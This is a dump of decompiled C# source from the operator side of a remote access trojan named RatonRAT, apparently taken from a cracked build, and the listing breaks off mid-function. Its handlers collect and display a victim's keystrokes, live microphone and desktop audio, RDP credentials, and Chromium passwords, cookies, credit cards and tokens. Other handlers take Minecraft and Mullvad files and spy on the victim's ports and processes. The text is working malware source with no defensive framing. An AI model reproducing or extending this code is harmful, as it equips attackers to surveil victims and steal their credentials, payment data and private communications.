ratonKeylogger keyloggerForm = Application.OpenForms["Keylogger | Client ID: " + msgUnpack.GetAsString("UID")] as ratonKeylogger;
|
||||
if (keyloggerForm == null)
|
||||
return;
|
||||
if (keyloggerForm.SillyClient == null)
|
||||
keyloggerForm.SillyClient = SillyClient;
|
||||
keyloggerForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
string asString1 = msgUnpack.GetAsString("Keys");
|
||||
string asString2 = msgUnpack.GetAsString("Timestamp");
|
||||
if (asString1.Contains("[WINDOW]"))
|
||||
{
|
||||
string text = asString1.Replace("[WINDOW]", asString2 + " - ").Replace("[/WINDOW]", asString2 + " - ");
|
||||
if (keyloggerForm.textBox1.TextLength > 0)
|
||||
keyloggerForm.textBox1.AppendText("\r\n\r\n");
|
||||
keyloggerForm.textBox1.AppendText(text);
|
||||
keyloggerForm.textBox1.AppendText("\r\n");
|
||||
}
|
||||
else
|
||||
keyloggerForm.textBox1.AppendText(asString1);
|
||||
keyloggerForm.textBox1.SelectionStart = keyloggerForm.textBox1.TextLength;
|
||||
keyloggerForm.textBox1.ScrollToCaret();
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleMicrophone
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Forms.ClientForms.Audio;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleMicrophone
|
||||
{
|
||||
private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
|
||||
private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
|
||||
private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
|
||||
private static Dictionary<string, ratonMicrophone> micForms = new Dictionary<string, ratonMicrophone>();
|
||||
private const int update = 500;
|
||||
|
||||
public HandleMicrophone(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
HandleMicrophone handleMicrophone = this;
|
||||
string uid = msgUnpack.GetAsString("UID");
|
||||
if (string.IsNullOrEmpty(uid))
|
||||
return;
|
||||
ratonMicrophone clipboard = this.GetOrFindForm(uid);
|
||||
if (clipboard == null || clipboard.IsDisposed)
|
||||
return;
|
||||
if (clipboard.SillyClient == null)
|
||||
clipboard.SillyClient = SillyClient;
|
||||
byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
|
||||
int length = msgUnpack.GetAsInteger("Length");
|
||||
if (asByteArray == null || length <= 0)
|
||||
return;
|
||||
if (length > asByteArray.Length)
|
||||
length = asByteArray.Length;
|
||||
AudioPlayer.Play(uid, asByteArray, length);
|
||||
double sizeKB = (double) length / 1024.0;
|
||||
double kbps = this.CalculateKBps(uid, sizeKB);
|
||||
DateTime now = DateTime.Now;
|
||||
if (HandleMicrophone.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophone.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
|
||||
return;
|
||||
HandleMicrophone.lastUiUpdate[uid] = now;
|
||||
if (clipboard.InvokeRequired)
|
||||
clipboard.BeginInvoke((Delegate) (() => handleMicrophone.UpdateUI(clipboard, uid, sizeKB, kbps)));
|
||||
else
|
||||
this.UpdateUI(clipboard, uid, sizeKB, kbps);
|
||||
}
|
||||
|
||||
private ratonMicrophone GetOrFindForm(string uid)
|
||||
{
|
||||
if (HandleMicrophone.micForms.ContainsKey(uid))
|
||||
{
|
||||
ratonMicrophone micForm = HandleMicrophone.micForms[uid];
|
||||
if (micForm != null && !micForm.IsDisposed)
|
||||
return micForm;
|
||||
HandleMicrophone.micForms.Remove(uid);
|
||||
}
|
||||
string str = "Microphone | Client ID: " + uid;
|
||||
foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
|
||||
{
|
||||
if (openForm.Text == str)
|
||||
{
|
||||
ratonMicrophone orFindForm = openForm as ratonMicrophone;
|
||||
HandleMicrophone.micForms[uid] = orFindForm;
|
||||
return orFindForm;
|
||||
}
|
||||
}
|
||||
return (ratonMicrophone) null;
|
||||
}
|
||||
|
||||
private void UpdateUI(ratonMicrophone clipboard, string uid, double sizeKB, double kbps)
|
||||
{
|
||||
if (clipboard.IsDisposed)
|
||||
return;
|
||||
clipboard.label1.Text = $"Recording audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
|
||||
FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
|
||||
if (flatProgressBar1.Maximum != 100)
|
||||
flatProgressBar1.Maximum = 100;
|
||||
int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
|
||||
flatProgressBar1.Value = Math.Max(0, val2);
|
||||
}
|
||||
|
||||
private double CalculateKBps(string uid, double sizeKB)
|
||||
{
|
||||
DateTime now = DateTime.Now;
|
||||
if (!HandleMicrophone.lastPacketTime.ContainsKey(uid))
|
||||
{
|
||||
HandleMicrophone.lastPacketTime[uid] = now;
|
||||
HandleMicrophone.lastKBps[uid] = 0.0;
|
||||
return 0.0;
|
||||
}
|
||||
double totalSeconds = (now - HandleMicrophone.lastPacketTime[uid]).TotalSeconds;
|
||||
HandleMicrophone.lastPacketTime[uid] = now;
|
||||
if (totalSeconds <= 0.0)
|
||||
return HandleMicrophone.lastKBps[uid];
|
||||
double num = sizeKB / totalSeconds;
|
||||
double kbps = HandleMicrophone.lastKBps[uid] * 0.7 + num * 0.3;
|
||||
HandleMicrophone.lastKBps[uid] = kbps;
|
||||
return kbps;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,109 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleMicrophoneSystem
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using DarkModeForms;
|
||||
using Raton.Forms.ClientForms.Audio;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections;
|
||||
using System.Collections.Generic;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleMicrophoneSystem
|
||||
{
|
||||
private static Dictionary<string, DateTime> lastPacketTime = new Dictionary<string, DateTime>();
|
||||
private static Dictionary<string, double> lastKBps = new Dictionary<string, double>();
|
||||
private static Dictionary<string, DateTime> lastUiUpdate = new Dictionary<string, DateTime>();
|
||||
private static Dictionary<string, ratonSystemRecording> micForms = new Dictionary<string, ratonSystemRecording>();
|
||||
private const int update = 500;
|
||||
|
||||
public HandleMicrophoneSystem(SillyClient SillyClient, Unpack msgUnpack)
|
||||
{
|
||||
HandleMicrophoneSystem microphoneSystem = this;
|
||||
string uid = msgUnpack.GetAsString("UID");
|
||||
if (string.IsNullOrEmpty(uid))
|
||||
return;
|
||||
ratonSystemRecording clipboard = this.GetOrFindForm(uid);
|
||||
if (clipboard == null || clipboard.IsDisposed)
|
||||
return;
|
||||
if (clipboard.SillyClient == null)
|
||||
clipboard.SillyClient = SillyClient;
|
||||
byte[] asByteArray = msgUnpack.GetAsByteArray("AudioData");
|
||||
int length = msgUnpack.GetAsInteger("Length");
|
||||
if (asByteArray == null || length <= 0)
|
||||
return;
|
||||
if (length > asByteArray.Length)
|
||||
length = asByteArray.Length;
|
||||
AudioDispatch.Enqueue(uid, asByteArray, length);
|
||||
double sizeKB = (double) length / 1024.0;
|
||||
double kbps = this.CalculateKBps(uid, sizeKB);
|
||||
DateTime now = DateTime.Now;
|
||||
if (HandleMicrophoneSystem.lastUiUpdate.ContainsKey(uid) && (now - HandleMicrophoneSystem.lastUiUpdate[uid]).TotalMilliseconds < 500.0)
|
||||
return;
|
||||
HandleMicrophoneSystem.lastUiUpdate[uid] = now;
|
||||
if (clipboard.InvokeRequired)
|
||||
clipboard.BeginInvoke((Delegate) (() => microphoneSystem.UpdateUI(clipboard, uid, sizeKB, kbps)));
|
||||
else
|
||||
this.UpdateUI(clipboard, uid, sizeKB, kbps);
|
||||
}
|
||||
|
||||
private ratonSystemRecording GetOrFindForm(string uid)
|
||||
{
|
||||
if (HandleMicrophoneSystem.micForms.ContainsKey(uid))
|
||||
{
|
||||
ratonSystemRecording micForm = HandleMicrophoneSystem.micForms[uid];
|
||||
if (micForm != null && !micForm.IsDisposed)
|
||||
return micForm;
|
||||
HandleMicrophoneSystem.micForms.Remove(uid);
|
||||
}
|
||||
string str = "System Audio | Client ID: " + uid;
|
||||
foreach (Form openForm in (ReadOnlyCollectionBase) Application.OpenForms)
|
||||
{
|
||||
if (openForm.Text == str)
|
||||
{
|
||||
ratonSystemRecording orFindForm = openForm as ratonSystemRecording;
|
||||
HandleMicrophoneSystem.micForms[uid] = orFindForm;
|
||||
return orFindForm;
|
||||
}
|
||||
}
|
||||
return (ratonSystemRecording) null;
|
||||
}
|
||||
|
||||
private void UpdateUI(ratonSystemRecording clipboard, string uid, double sizeKB, double kbps)
|
||||
{
|
||||
if (clipboard.IsDisposed)
|
||||
return;
|
||||
clipboard.label1.Text = $"Recording desktop audio from {uid} | Size: {sizeKB:F2} KB | KBPS: {kbps:F2}";
|
||||
FlatProgressBar flatProgressBar1 = clipboard.flatProgressBar1;
|
||||
if (flatProgressBar1.Maximum != 100)
|
||||
flatProgressBar1.Maximum = 100;
|
||||
int val2 = (int) Math.Min(100.0, sizeKB / 20.0 * 100.0);
|
||||
flatProgressBar1.Value = Math.Max(0, val2);
|
||||
}
|
||||
|
||||
private double CalculateKBps(string uid, double sizeKB)
|
||||
{
|
||||
DateTime now = DateTime.Now;
|
||||
if (!HandleMicrophoneSystem.lastPacketTime.ContainsKey(uid))
|
||||
{
|
||||
HandleMicrophoneSystem.lastPacketTime[uid] = now;
|
||||
HandleMicrophoneSystem.lastKBps[uid] = 0.0;
|
||||
return 0.0;
|
||||
}
|
||||
double totalSeconds = (now - HandleMicrophoneSystem.lastPacketTime[uid]).TotalSeconds;
|
||||
HandleMicrophoneSystem.lastPacketTime[uid] = now;
|
||||
if (totalSeconds <= 0.0)
|
||||
return HandleMicrophoneSystem.lastKBps[uid];
|
||||
double num = sizeKB / totalSeconds;
|
||||
double kbps = HandleMicrophoneSystem.lastKBps[uid] * 0.7 + num * 0.3;
|
||||
HandleMicrophoneSystem.lastKBps[uid] = kbps;
|
||||
return kbps;
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,58 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleMinecraft
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Collections.Generic;
|
||||
using System.IO;
|
||||
using System.Linq;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleMinecraft
|
||||
{
|
||||
public HandleMinecraft(SillyClient client, Unpack unpack)
|
||||
{
|
||||
string uid = unpack.GetAsString("UID");
|
||||
int asInteger = unpack.GetAsInteger("Count");
|
||||
string str1 = Path.Combine(Program.ClientsFolder, uid);
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
Console.WriteLine(uid + asInteger.ToString());
|
||||
for (int index = 0; index < asInteger; ++index)
|
||||
{
|
||||
string name = unpack.GetAsString($"Name{index}");
|
||||
string asString = unpack.GetAsString($"Extension{index}");
|
||||
byte[] asByteArray = unpack.GetAsByteArray($"Data{index}");
|
||||
string[] source = new string[6]
|
||||
{
|
||||
"txt",
|
||||
"json",
|
||||
"log",
|
||||
".txt",
|
||||
".json",
|
||||
".log"
|
||||
};
|
||||
if (!string.IsNullOrEmpty(name) && asByteArray != null && asByteArray.Length != 0)
|
||||
{
|
||||
string str2;
|
||||
if (!string.IsNullOrWhiteSpace(asString))
|
||||
str2 = asString.TrimStart('.').ToLower();
|
||||
else
|
||||
str2 = "";
|
||||
string safeExt = str2;
|
||||
if (!((IEnumerable<string>) source).Contains<string>(safeExt))
|
||||
break;
|
||||
File.WriteAllBytes(Path.Combine(str1, $"{name}.{safeExt}"), asByteArray);
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Minecraft → {uid} → {name}.{safeExt}", (object) System.Drawing.Color.LightGreen)));
|
||||
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nMinecraft stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleMullvad
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleMullvad
|
||||
{
|
||||
public HandleMullvad(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonMullvad ratonTelegram = (ratonMullvad) Application.OpenForms["Mullvad | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
ratonTelegram.Invoke((Delegate) (() =>
|
||||
{
|
||||
ratonTelegram.label1.Text = "Got the Mullvad .zip!";
|
||||
ratonTelegram.label1.ForeColor = System.Drawing.Color.LightGreen;
|
||||
ratonTelegram.textBox1.Text = rip2pac.GetAsString("Path");
|
||||
ratonTelegram.button1.Enabled = true;
|
||||
Notification.Show($"RatonRAT • {rip2pac.GetAsString("UID")}\nMullvad stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,57 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandlePasswords
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandlePasswords
|
||||
{
|
||||
public HandlePasswords(SillyClient client, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string uid = unpack.GetAsString("UID");
|
||||
string asString = unpack.GetAsString("Passwords");
|
||||
bool asBool = unpack.GetAsBool("isCrypto");
|
||||
if (string.IsNullOrEmpty(uid) || string.IsNullOrEmpty(asString))
|
||||
return;
|
||||
string str1 = Path.Combine(Path.Combine(Program.ClientsFolder, uid), asBool ? "Chromium Crypto" : "Chromium Passwords");
|
||||
Directory.CreateDirectory(str1);
|
||||
string[] strArray = asString.Split(new string[1]
|
||||
{
|
||||
"==="
|
||||
}, StringSplitOptions.RemoveEmptyEntries);
|
||||
for (int index = 0; index < strArray.Length; index += 2)
|
||||
{
|
||||
if (index + 1 < strArray.Length)
|
||||
{
|
||||
string str2 = strArray[index].Trim();
|
||||
string str3 = strArray[index + 1].Trim();
|
||||
string sectionName = str2;
|
||||
sectionName = sectionName.IndexOf("PASSWORD", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("COOKIE", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("AUTOFILL", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("CREDIT CARD", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("TOKEN", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("MASKED CREDIT", StringComparison.OrdinalIgnoreCase) < 0 ? (sectionName.IndexOf("MASKED IBAN", StringComparison.OrdinalIgnoreCase) < 0 ? "UNKNOWN" : "MASKED IBANS") : "MASKED CREDIT CARDS") : "RESTORE TOKENS") : "CREDIT CARDS") : "AUTOFILLS") : "COOKIES") : "PASSWORDS";
|
||||
string str4 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss-fff");
|
||||
string filePath = Path.Combine(str1, $"{sectionName}_{str4}.txt");
|
||||
File.WriteAllText(filePath, $"=== {str2} ===\r\n\r\n{str3}");
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) $"Saved {sectionName} from {uid}: {filePath}", (object) System.Drawing.Color.LightGreen)));
|
||||
}
|
||||
else
|
||||
break;
|
||||
}
|
||||
Notification.Show($"RatonRAT • {uid}\nOld chromium data saved ({(asBool ? "Crypto" : "Passwords")})", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
catch (Exception ex)
|
||||
{
|
||||
int num = (int) MessageBox.Show(ex.ToString());
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,55 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandlePortManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandlePortManager
|
||||
{
|
||||
public HandlePortManager(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
ratonPorts portManagerForm = (ratonPorts) Application.OpenForms["Port spy | Client ID: " + unpack.GetAsString("UID")];
|
||||
if (portManagerForm == null)
|
||||
return;
|
||||
if (portManagerForm.SillyClient == null)
|
||||
portManagerForm.SillyClient = SillyClient;
|
||||
portManagerForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
string[] strArray = unpack.GetAsString("Ports").Split(new string[1]
|
||||
{
|
||||
"-=>"
|
||||
}, StringSplitOptions.RemoveEmptyEntries);
|
||||
portManagerForm.aeroListView1.Items.Clear();
|
||||
portManagerForm.aeroListView1.BeginUpdate();
|
||||
for (int index = 0; index < strArray.Length - 3; index += 4)
|
||||
{
|
||||
ListViewItem listViewItem = new ListViewItem(strArray[index]);
|
||||
listViewItem.SubItems.Add(strArray[index + 1]);
|
||||
listViewItem.SubItems.Add(strArray[index + 2]);
|
||||
listViewItem.SubItems.Add(strArray[index + 3]);
|
||||
string upper = strArray[index + 3].ToUpper();
|
||||
if (upper == "ESTABLISHED")
|
||||
listViewItem.ImageIndex = 1;
|
||||
if (upper == "TIMEWAIT" || upper == "CLOSEWAIT")
|
||||
listViewItem.ImageIndex = 2;
|
||||
if (upper == "LISTENING")
|
||||
listViewItem.ImageIndex = 0;
|
||||
portManagerForm.aeroListView1.Items.Add(listViewItem);
|
||||
}
|
||||
portManagerForm.aeroListView1.EndUpdate();
|
||||
portManagerForm.label1.Visible = false;
|
||||
portManagerForm.aeroListView1.Visible = true;
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the ports of the client", (object) Color.LightGreen)));
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,149 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleProcessManager
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Monitor;
|
||||
using Raton.Properties;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Drawing;
|
||||
using System.IO;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleProcessManager
|
||||
{
|
||||
public HandleProcessManager(SillyClient SillyClient, Unpack unpack)
|
||||
{
|
||||
string asString1 = unpack.GetAsString("UID");
|
||||
ratonProcess processManagerForm = (ratonProcess) Application.OpenForms["Process manager | Client ID: " + asString1];
|
||||
ratonWindows windowsManagerForm = (ratonWindows) Application.OpenForms["Windows manager | Client ID: " + asString1];
|
||||
if (processManagerForm == null && windowsManagerForm == null)
|
||||
return;
|
||||
string command = unpack.GetAsString("Command");
|
||||
if (processManagerForm != null)
|
||||
{
|
||||
if (processManagerForm.SillyClient == null)
|
||||
{
|
||||
processManagerForm.SillyClient = SillyClient;
|
||||
processManagerForm.timer1.Start();
|
||||
}
|
||||
processManagerForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
switch (command)
|
||||
{
|
||||
case "List":
|
||||
string[] strArray = unpack.GetAsString("Processes").Split(new string[1]
|
||||
{
|
||||
"-=>"
|
||||
}, StringSplitOptions.None);
|
||||
processManagerForm.aeroListView2.Items.Clear();
|
||||
processManagerForm.imageList1.Images.Clear();
|
||||
processManagerForm.aeroListView2.BeginUpdate();
|
||||
for (int index = 0; index < strArray.Length - 1; index = index + 4 + 1)
|
||||
{
|
||||
string key = Helpers.Random();
|
||||
ListViewItem listViewItem = new ListViewItem();
|
||||
listViewItem.Text = strArray[index];
|
||||
listViewItem.SubItems.Add(strArray[index + 1]);
|
||||
listViewItem.SubItems.Add(strArray[index + 2]);
|
||||
listViewItem.SubItems.Add(strArray[index + 3]);
|
||||
if (strArray[index + 4].Trim() != "N/A")
|
||||
{
|
||||
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(strArray[index + 4])));
|
||||
processManagerForm.imageList1.Images.Add(key, image);
|
||||
listViewItem.ImageKey = key;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!processManagerForm.imageList1.Images.ContainsKey("Admin"))
|
||||
processManagerForm.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
|
||||
listViewItem.ImageKey = "Admin";
|
||||
}
|
||||
listViewItem.Tag = (object) strArray[index + 1];
|
||||
processManagerForm.aeroListView2.Items.Add(listViewItem);
|
||||
}
|
||||
processManagerForm.changeColor(unpack.GetAsString("CurrentRaton"));
|
||||
processManagerForm.aeroListView2.EndUpdate();
|
||||
processManagerForm.label1.Visible = false;
|
||||
processManagerForm.aeroListView2.Visible = true;
|
||||
break;
|
||||
case "Info":
|
||||
string asString2 = unpack.GetAsString("Data");
|
||||
if (string.IsNullOrEmpty(asString2))
|
||||
break;
|
||||
new RatonPI()
|
||||
{
|
||||
Text = $"Process spy | {unpack.GetAsString("ProcessName")} | {unpack.GetAsString("ProcessId")}",
|
||||
textBox1 = {
|
||||
Text = asString2
|
||||
}
|
||||
}.Show();
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) "Got the process information", (object) Color.LightGreen)));
|
||||
break;
|
||||
}
|
||||
}));
|
||||
}
|
||||
if (windowsManagerForm == null)
|
||||
return;
|
||||
if (windowsManagerForm.SillyClient == null)
|
||||
{
|
||||
windowsManagerForm.SillyClient = SillyClient;
|
||||
windowsManagerForm.timer1.Start();
|
||||
}
|
||||
windowsManagerForm.Invoke((Delegate) (() =>
|
||||
{
|
||||
if (!(command == "List"))
|
||||
return;
|
||||
string[] strArray = unpack.GetAsString("Processes").Split(new string[1]
|
||||
{
|
||||
"-=>"
|
||||
}, StringSplitOptions.None);
|
||||
windowsManagerForm.aeroListView2.Items.Clear();
|
||||
windowsManagerForm.imageList1.Images.Clear();
|
||||
windowsManagerForm.aeroListView2.BeginUpdate();
|
||||
int num;
|
||||
for (int index = 0; index < strArray.Length - 1; index = num + 1)
|
||||
{
|
||||
string str1 = strArray[index];
|
||||
string text = strArray[index + 1];
|
||||
string str2 = strArray[index + 2];
|
||||
string s = strArray[index + 4];
|
||||
if (!str2.Trim().Equals("Foreground", StringComparison.OrdinalIgnoreCase))
|
||||
{
|
||||
num = index + 4;
|
||||
}
|
||||
else
|
||||
{
|
||||
string key = Helpers.Random();
|
||||
ListViewItem listViewItem = new ListViewItem();
|
||||
listViewItem.Text = str1;
|
||||
listViewItem.SubItems.Add(text);
|
||||
if (s.Trim() != "N/A")
|
||||
{
|
||||
Image image = Image.FromStream((Stream) new MemoryStream(Convert.FromBase64String(s)));
|
||||
windowsManagerForm.imageList1.Images.Add(key, image);
|
||||
listViewItem.ImageKey = key;
|
||||
}
|
||||
else
|
||||
{
|
||||
if (!windowsManagerForm.imageList1.Images.ContainsKey("Admin"))
|
||||
windowsManagerForm.imageList1.Images.Add("Admin", (Image) Resources.shieldIcon);
|
||||
listViewItem.ImageKey = "Admin";
|
||||
}
|
||||
listViewItem.Tag = (object) text;
|
||||
windowsManagerForm.aeroListView2.Items.Add(listViewItem);
|
||||
num = index + 4;
|
||||
}
|
||||
}
|
||||
windowsManagerForm.aeroListView2.EndUpdate();
|
||||
windowsManagerForm.label1.Visible = false;
|
||||
windowsManagerForm.aeroListView2.Visible = true;
|
||||
}));
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,39 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleRDP
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.IO;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleRDP
|
||||
{
|
||||
public HandleRDP(SillyClient client, Unpack unpack)
|
||||
{
|
||||
try
|
||||
{
|
||||
string asString1 = unpack.GetAsString("UID");
|
||||
string asString2 = unpack.GetAsString("Credentials");
|
||||
if (string.IsNullOrEmpty(asString1) || string.IsNullOrEmpty(asString2))
|
||||
return;
|
||||
string str1 = Path.Combine(Program.ClientsFolder, asString1);
|
||||
if (!Directory.Exists(str1))
|
||||
Directory.CreateDirectory(str1);
|
||||
string str2 = DateTime.Now.ToString("yyyy-MM-dd_HH-mm-ss");
|
||||
string filePath = Path.Combine(str1, $"RDP_Credentials_{str2}.txt");
|
||||
File.WriteAllText(filePath, asString2);
|
||||
Program.form2.Dispatcher.Invoke((Action) (() => Program.form2.AddSuccessLog((object) ("Got the RDP credentials: " + filePath), (object) System.Drawing.Color.LightGreen)));
|
||||
Notification.Show($"RatonRAT • {unpack.GetAsString("UID")}\nRDP stealer has found something", "\uE946", new System.Windows.Media.Color?(System.Windows.Media.Color.FromArgb(byte.MaxValue, byte.MaxValue, (byte) 237, (byte) 41)));
|
||||
}
|
||||
catch
|
||||
{
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -0,0 +1,35 @@
|
||||
// Decompiled with JetBrains decompiler
|
||||
// Type: Server.Handlers.HandleRiot
|
||||
// Assembly: Raton, Version=0.4.0.0, Culture=neutral, PublicKeyToken=null
|
||||
// MVID: 36C4E416-7F8D-4D23-930F-B5CCB0D810E7
|
||||
// Assembly location: C:\Users\user\Desktop\v3.8.0 Deluxe Plugins (v4.0.0) cracked\Raton.exe
|
||||
|
||||
using Raton.Forms.ClientForms.Stealers;
|
||||
using Raton.Windows;
|
||||
using Server.Connection;
|
||||
using Stuff;
|
||||
using System;
|
||||
using System.Windows.Forms;
|
||||
|
||||
#nullable disable
|
||||
namespace Server.Handlers;
|
||||
|
||||
internal class HandleRiot
|
||||
{
|
||||
public HandleRiot(SillyClient client, Unpack rip2pac)
|
||||
{
|
||||
ratonRiot ratonTelegram = (ratonRiot) Application.OpenForms["Riot | Client ID: " + rip2pac.GetAsString("UID")];
|
||||
if (ratonTelegram == null)
|
||||
return;
|
||||
if (ratonTelegram.SillyClient == null)
|
||||
ratonTelegram.SillyClient = client;
|
||||
